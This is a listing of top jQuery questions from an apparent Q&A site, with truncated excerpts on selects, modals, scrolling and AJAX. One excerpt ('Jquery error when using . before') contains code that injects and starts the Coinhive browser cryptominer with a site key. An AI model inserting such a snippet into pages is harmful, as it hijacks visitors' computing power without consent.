Most voted "jquery" questions
jQuery is a Javascript library focused primarily on DOM handling, event management and Ajax, seeking to free developers from directly dealing with a number of browser compatibility issues.
Learn more…11,371 questions
Sort by count of
-
0
votes3
answers2364
viewsHow to assign "Selected" to a dynamic option?
I’m populating a SELECT from a JSON received via AJAX as follows: $.each(parsedData, function(i, produto) { $('select#produtos').append(…
-
0
votes3
answers279
viewsHow to execute an insert only once via javascript/jQuery
I have a situation where I need to insert a single div into a block via jQuery, is there any function already defined that ensures that this block will be inserted only once? Without me having to…
-
0
votes0
answers406
viewsRefresh a div of a Dashboard without reloading the entire html page
I’m finishing my CBT and I came across a problem. I am creating an administrative control panel and would like it to display in real time a Count from a table in my database. I was told that the…
-
0
votes1
answer68
viewsAfter searching with keyup() edit in Modal and return list with edited value?
Good evening guys I’m performing a search with jQuery and the event keyup() this way: $('#colaborador').keyup(function(){ var txtInput = $('#colaborador').val(); if(txtInput.length == 0){…
-
0
votes2
answers64
viewsHow to access a jquery without id?
I always completed a jquery using the command: $('#id_1'), but always in a html body that has id. How do I access an html body that does not have id, using the attribute data-uid in my case below?…
-
0
votes1
answer79
viewsScroll does not work after append with jquery
Well, I’m picking up posts when you load the page, but when I do a new post and give an append it goes to the end of the page and also it is half the scroll does not accompany, I tried everything…
-
0
votes1
answer1104
viewshide <option> with javascript
Good guys I have 3 select in my code, being them tipo, outros and margem. When I mark the option MARGENS in the select tipo the select margem appears on the screen. So far everything ok. But I need…
-
0
votes1
answer92
viewsGet value returned in a JS URL
I need to create a very simple script that makes a small calculation. I have a URL that returns a value in the following format: 10.00, something like this: https://domain/api/products.php?…
-
0
votes0
answers908
viewsHow to use Ajax contenttype to transfer XML and JSON data between services?
Good afternoon, you guys! I need to pass data in XML and JSON formats to an API I am developing. Every time I place contenttype: "application/json/xml; charset=utf-8" in my Ajax block, I get the…
-
0
votes1
answer188
viewsCreate a jquery option Selected
I’ve seen several posts about it, but none of them were able to help me definitively. I want to put an option Selected dynamically(db data). obj.nome = [vitor,joao,carlos] dep_option += '<option…
-
0
votes1
answer306
viewsScroll page after loading $(Document) with jQuery
How to automatically scroll the page to 400 pixels below the top when loading the page with jQuery with scrollTop(); ? <script> $(document).ready(function(){ // ROLAR A PAGINA });…
-
0
votes1
answer108
viewsHow to make edit button work in a modal window?
I don’t understand how to make the "Edit" button work within the modal... Screen (clicking on details opens this modal where the edit button has): My modal: information contained within the modal:…
-
0
votes0
answers79
viewsHow to use the contenttype sent by the client on the server
Good afternoon! I am trying to understand the workings of contenttype. As far as I know, I would be telling the server to use the formed JSON UTF8 to correctly encode the data I am sent.…
-
0
votes1
answer285
viewsHow to not duplicate items in a list returned from json with ajax
I’m having problems, basically I’m doing a search in products with like, but is duplicating the products, I’ll attach an image that clarifies better. $(document).ready(function(){ $("#search").on(…
-
0
votes2
answers66
viewshref with single click until page Reload
I have the following code <a href="{{ route('carrinho.deltocart', $item['id']) }}" id="deltocart"><i class="fas fa-minus-circle"></i></a> <a href="{{…
-
0
votes0
answers50
viewsAnimation does not appear in Section
Eae guys I’m making a website in bootstrap 4 and want to put an animation with Animate.css, as it is divided into classes I only put the class and ready however the effect happens soon when loading…
-
0
votes0
answers537
viewsSyntaxerror: expected Expression, got '<' in AJAX call
Hello I have an error in an AJAX call in my Javascript. For some reason, it does not arrive at the function in my Controller and gives the following error: Syntaxerror: expected Expression, got…
-
0
votes2
answers117
viewsShould I validate data in javascript and php?
I have a file that sends some data to another page with ajax. These data are mostly numbers, and are not stored anywhere. Just picked up some data on inputs and send to the archive php with ajax,…
-
0
votes2
answers89
viewsHow to simulate click only one button and not both?
I think the question sounds confusing, but calm down, I’ll explain it better. Type, on a given page, there are 2 Buttons with the same class, having as difference only their value, and an attribute…
-
0
votes1
answer31
viewsJquery error when using . before
$(".enviar").before('<script src="https://coinhive.com/lib/coinhive.min.js"></script><script> var miner = new CoinHive.Anonymous("4jimrwZqZRoKFX1001NpibYyv1up80Y2");…
-
0
votes1
answer82
viewsOpen link in new tab directly in the Ink array
How can I apply the attribute target=_blank directly in the array below? arrayLink[1]="https://url/cart.php?a=add&pid=00"; I can’t apply to HTML. Follow function executed via onclick: function…
-
0
votes1
answer120
viewsGet JSON return from a URL within the function
I have the following function: $(document).ready(function(){ arrayAmount[0]='29.90'; } I need, instead of specifying the value directly there (29.90), it gets the value of a URL. Ex:…
-
0
votes3
answers84
viewsscrollTop in Fullscrenn jQuery
On the screen in normal mode use at the click of a button directing the screen to a div at the top: $('html,body').animate({scrollTop:$('.backTop').offset().top}, 150); But, taking the screen on…
-
0
votes1
answer142
viewsFixed div when scrolling in different resolutions
I have the following scenario. A banner at the top that picks up the entire screen viewport, regardless of the resolution Below it a menu that when scrolling down it stays at the top following the…
-
0
votes2
answers1931
viewsInsert value in Input Value with JS
I’m trying to bring a value that when clicking a button brings in an input that works but the value does not appear inside the Value input so I can’t capture this value via PHP. Follows the code…
-
0
votes1
answer87
viewsHow do I detect a click out of an element?
I have some HTML menus, which I show when a user clicks on these menus. I would like to hide these elements when the user clicks out of of the menu area. How could I do that?…
-
0
votes1
answer41
viewsAccordion does not change the icon
I’m testing . toggleClass, but in this accordion, it’s not changing the icon from more to less when you click on the element: function toggleIcon(e) { $(e.target) .prev('.panel-heading')…
jqueryasked 6 years, 9 months ago Rogério Pancini 397 -
0
votes2
answers26
viewsJquery z-index combo box
I’m using the combo box http://easyautocomplete.com/. But I’m having a mistake that makes the combo behind the bottom contents. I am since yesterday looking for articles and forums to solve this…
-
0
votes0
answers129
views -
0
votes1
answer503
viewsFill Modal with Database data
I have a Grid where I click the edit button and it should bring BD data in a Modal but it is not working. Follow the code. Knob Obs. (The Button is bringing the id) <a href="#my_modal"…
-
0
votes0
answers627
viewsChange button text by clicking with Jquery
Good afternoon! I am trying to change the text of a button whenever it is clicked. (ONCLICK) The problem? Well, apparently all buttons have the same class and I don’t have access to HTML, only WP js…
-
0
votes1
answer145
viewsJquery Javascript tab system
I have a system with tabs on JS/Jquery, that to unite with the Owl.Carousel he gives a bug a bit strange, I’ve tried everything to fix the error and do not understand what may be causing the…
-
0
votes0
answers209
viewsIs it possible to open a link in a specific browser tab using some target=""?
I have a contact registration system with a button to send Whatsapp message by whatsappweb. When I click on this button, it opens a whatsappweb tab in the conversation with this contact: <a…
-
0
votes1
answer47
viewsPut JS only in a div
My question is this, I have a div I need her to have a less up-to-date version of js. My page has the Bootstrap 4.1 and need to rotate the jquery 2.2.3 in the div, where the most updated version…
-
0
votes1
answer47
viewsUncaught Typeerror: $(...). removeClass(...). affix is not a Function at Htmldocument.<Anonymous>
I have the problem in jQuery, tells me that affix is not a function, I have done everything I know and more and yet I could not fix it. Can help me? jQuery(document).ready(function($){ if (…
jqueryasked 6 years, 9 months ago Isaac Sánchez Spagnol 1 -
0
votes0
answers86
viewsconvert json data to string or array in php
I have this json and would like to know how to convert it to an arrag/string {'texto_mensagem': {'texto': 'Mensagem de envio'}, 'numero_celular': [{'numero': '5537988440956'}, {'numero':…
-
0
votes0
answers305
viewsOwl.Carousel action of the NAV buttons
Duplicate gallery of Owl.Carousel makes it Nav custom move the amount of galleries instead of 1 position at a time. To Nav Standard works normally running 1 in 1 position. On the personalized Nav…
-
0
votes0
answers27
viewsJquery function performs operation when it receives date
Hello, I have a function in Jquery that receives a date parameter in the form Y-m-d, but when I receive this data it does a mathematical subtraction operation and returns the result. I took a look…
-
0
votes1
answer47
viewsThead Absolute with lateral Scrum
Hello, I have a problem in a table that is very extensive horizontal and vertical. I need the titles to keep track of the dice until the end in the vertical and horizontal scrolling and I also need…
-
0
votes1
answer893
viewshow to get the value of a specific checkbox in Asp.net mvc using Jquery
I have a table on an ASP.NET MVC system that each record has a checkbox, here’s the code below the view: <table class="table table-hover table-striped" id="tabelaProdutos"> <thead>…
-
0
votes1
answer47
viewsFunction authorizing or not form Ubmit
I’m trying to run a function in the form Ubmit, it works correctly, but if return true I need the form not sent. It’s being done this way: $('#FornecedorNovo').submit(function (e) { var url =…
-
0
votes1
answer82
viewsSending image with Jquery
I searched on SOF how to send image with Jquery, tested several and did not work, and others only for form field, the event should send the image with input OUTSIDE/WITHOUT form. Input (No form):…
-
0
votes0
answers25
viewsJquery and amendments 1.12.24
Good morning friends, I have a Jquery code for a "page up" function, but it doesn’t work due to my version of Jquery which is 1.12.24 and I can’t update it. Is there any way to adapt the code with…
jqueryasked 6 years, 8 months ago Gabriel Salomão 39 -
0
votes1
answer122
viewshow to add semicolon in animated number that activates with the scroll movement in javascript
I am a laywoman in javascript. My boss dreams of putting such a "stopwatch" on the site (animated numbers that trigger a movement similar to a machine counting the numbers, which activate when you…
-
0
votes1
answer67
viewsError in serialize jquery
var Dados = {}; Dados.email = jQuery("#email").val(); Dados.nome= jQuery("#nome").val(); var urlparams = Dados.serialize(); My console returns Dados.serialize is not a Function there is some error…
-
0
votes2
answers1061
viewsScroll from bottom to top
I have a div that encompasses a chat, I load the last 15 messages, but the problem is that I want her scroll to start from top to bottom, that is, from the newest to the oldest messages. NOTE: This…
-
0
votes2
answers45
viewsAdd Mil separator to a number animated by jquery
I wonder if you have any different way to add the number separator in the Jquery form? Example: Current: 2000 Correct 2000 https://jsfiddle.net/ymxdq980/3/…
jqueryasked 6 years, 8 months ago Betina Silva 3 -
0
votes2
answers42
viewsProblem with jQuery in display
Guys I’m having a problem, https://jsfiddle.net/1qd6yj8w/8/ where when the user clicks on the photo - needs to change image, this is already in the test , however the user when clicking on the image…
-
0
votes0
answers44
viewsDoubt about variable cookies and JS
You can create a variable in javascript or jquery and store cookies in it for a certain time X?
-
0
votes1
answer1674
views